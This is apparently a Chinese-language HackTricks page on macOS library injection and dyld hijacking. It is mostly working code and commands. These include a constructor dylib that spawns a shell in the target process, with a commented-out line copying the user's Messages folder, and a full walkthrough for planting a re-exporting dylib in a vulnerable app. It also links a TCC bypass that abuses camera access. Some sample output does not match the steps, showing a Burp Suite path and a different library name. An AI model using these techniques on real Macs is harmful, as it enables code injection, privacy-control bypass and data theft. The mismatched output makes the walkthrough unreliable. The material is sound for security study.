# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
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## DYLD\_INSERT\_LIBRARIES 基本示例 **要注入的库**以执行shell: ```c // gcc -dynamiclib -o inject.dylib inject.c #include #include #include #include __attribute__((constructor)) void myconstructor(int argc, const char **argv) { syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); printf("[+] dylib injected in %s\n", argv[0]); execv("/bin/bash", 0); //system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` 攻击的二进制文件: ```c // gcc hello.c -o hello #include int main() { printf("Hello, World!\n"); return 0; } ``` 注入: ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` ## Dyld劫持示例 目标易受攻击的二进制文件是`/Applications/VulnDyld.app/Contents/Resources/lib/binary`。 {% tabs %} {% tab title="entitlements" %}
codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]
{% endtab %} {% tab title="LC_RPATH" %} {% code overflow="wrap %} ```bash # Check where are the @rpath locations otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2 cmd LC_RPATH cmdsize 32 path @loader_path/. (offset 12) -- cmd LC_RPATH cmdsize 32 path @loader_path/../lib2 (offset 12) ``` {% endcode %} {% endtab %} {% tab title="@rpath" %} {% code overflow="wrap" %} ```bash # Check librareis loaded using @rapth and the used versions otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3 name @rpath/lib.dylib (offset 24) time stamp 2 Thu Jan 1 01:00:02 1970 current version 1.0.0 compatibility version 1.0.0 # Check the versions ``` 根据前面的信息,我们知道它**没有检查加载的库的签名**,并且**试图从以下位置加载库**: - `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` - `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` 然而,第一个不存在: ```bash pwd /Applications/VulnDyld.app find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` 所以,它是可以被劫持的!创建一个库,**执行一些任意代码并通过重新导出来导出相同的功能**作为合法库。并记得使用期望的版本进行编译: {% code title="lib.m" %} ```objectivec #import __attribute__((constructor)) void custom(int argc, const char **argv) { NSLog(@"[+] dylib hijacked in %s", argv[0]); } ``` {% endcode %} 编译它: {% code overflow="wrap" %} ```bash gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport ``` {% endcode %} 在库中创建的重新导出路径是相对于加载器的,让我们将其更改为要导出的库的绝对路径: {% code overflow="wrap" %} ```bash #Check relative otool -l /tmp/lib.dylib| grep REEXPORT -A 2 cmd LC_REEXPORT_DYLIB cmdsize 48 name @rpath/libjli.dylib (offset 24) #Change the location of the library absolute to absolute path install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib # Check again otool -l /tmp/lib.dylib| grep REEXPORT -A 2 cmd LC_REEXPORT_DYLIB cmdsize 128 name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) ``` {% endcode %} 最后只需将其复制到**劫持位置**: {% code overflow="wrap" %} ```bash cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` {% endcode %} 然后**执行**二进制文件并检查**库是否被加载**:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Usage: [...]
{% hint style="info" %} 关于如何利用这个漏洞滥用 Telegram 的摄像头权限的详细说明可以在 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) 找到。 {% endhint %} ## 更大规模 如果您计划尝试在意外的二进制文件中注入库,您可以检查事件消息以找出库何时加载到进程中(在这种情况下删除 printf 和 `/bin/bash` 执行)。 ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ```
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) 其他支持HackTricks的方式: * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。